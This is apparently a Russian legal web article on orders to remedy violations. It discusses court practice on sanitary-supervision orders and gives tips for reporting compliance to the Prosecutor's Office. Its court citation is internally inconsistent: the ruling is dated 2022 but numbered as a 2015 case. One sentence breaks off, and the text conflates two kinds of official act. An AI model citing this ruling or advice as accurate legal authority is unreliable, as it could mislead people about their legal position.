Отметим, что выдача предписаний об устранении выявленных нарушений по результатам рассмотрения дел об административных правонарушениях признается незаконной и органами судебной власти.
Судебная практика
Согласно Определению Верховного Суда Российской Федерации от 01.10.2022 № 302-КГ15-11889 по делу № А33-23181/2022, отказывая в передаче кассационной жалобы Управлению Роспотребнадзора, суд установил, что заинтересованное лицо не осуществляло проверку предприятия в порядке, установленном Федеральным законом № 294-ФЗ, а проводило административное расследование в соответствии со ст. 28.7 КоАП РФ, нормы которого не предусматривают выдачу по его результатам предписания. В связи с этим и в целях устранения причин административного правонарушения и условий, способствовавших его совершению, административный орган по результатам такого расследования был обязан внести представление о принятии мер по устранению указанных причин и условий (ст. 29.13 КоАП РФ), но не выдавать предписание. Ввиду существенных нарушений процедуры выдачи оспариваемого предписания суды на основании ч. 2 ст. 201 АПК РФ признали его недействительным.
Таким образом, выдача предписания вне установленного Федеральным законом № 294-ФЗ порядка проведения проверки является грубым нарушением действующего законодательства и влечет признание оспариваемого предписания недействительным. Однако имеется прямо противоположная судебная практика по оспариванию ненормативных правовых актов.
Наличие такой противоположной практики при рассмотрении судами дел об оспаривании ненормативных правовых актов обусловлено отсутствием установленного ограничения в правах должностных лиц, осуществляющих федеральный государственный санитарно-эпидемиологический надзор.
Так, в отличие от п. 1 ст. 66 Федерального закона № 7-ФЗ, п. 2 ст. 50 Федерального закона от 30.03.1999 № 52-ФЗ «О санитарно-эпидемиологическом благополучии населения», который перечисляет основные права должностных лиц, осуществляющих государственный санитарно-эпидемиологический надзор, не имеет важного ограничения по установлению полномочий должностных лиц, обязывающего должностных лиц осуществлять свои права только в порядке, установленном законодательством Российской Федерации (Федеральным законом № 294-ФЗ, КоАП РФ

Рекомендации по оформлению отчета об исполнении предписания

При получении представления не стоит паниковать. Следует внимательно изучить все указанные в письме положения. Возможно, что нарушения, которые были выявлены, являются формальными, и никакой ответственности организация не подлежит.

Когда основаниями вынесения представления являются серьезные нарушения законодательства, то рекомендуется организовать собрание и достаточно щепетильно подойти к процессу изучения документа, в том числе ознакомившись с законом, который регламентирует деятельность Прокуратуры.

Посмотрите видео. Предписание об устранении выявленных нарушений:

Важно! Рекомендации по оформлению отчета об исполнении предписания об устранении выявленных нарушений:

  • отчет должен отправляться вместе с сопроводительным письмом, которое также составляется на бланке организации, который имеет перечень всех реквизитов;
  • для составления отчета допускается использование как углового, так и продольного видов бланков письма в зависимости от того, где на них расположены реквизиты организации;
  • текст отчета должен иметь две части. В начале документа излагается причина, по которой составляется документ. В этой части указываются данные вынесенного представления, которое служит основанием составления отчета. Вторая часть содержит в себе совокупность выводов, сделанных после изучения предписания;
  • помните, копии, прилагаемые к отчету, должны быть заверены подписью руководителя, а также печатью организации;
  • представляется такой документ в срок, который указан в вынесенном предписании об устранении выявленных в организации нарушений.

Составленный документ доставляется в Прокуратуру следующими способами:

  • посредством почтового отправления ценным письмом с описью;
  • по электронной почте, при наличии в организации электронно – цифровой печати и подписи;
  • лично через канцелярию Прокуратуры.

Внимание! Наши квалифицированные юристы окажут вам помощь бесплатно и круглосуточно по любым вопросам. Узнайте подробности здесь.

Оцените статью
Подписки Help
Добавить комментарий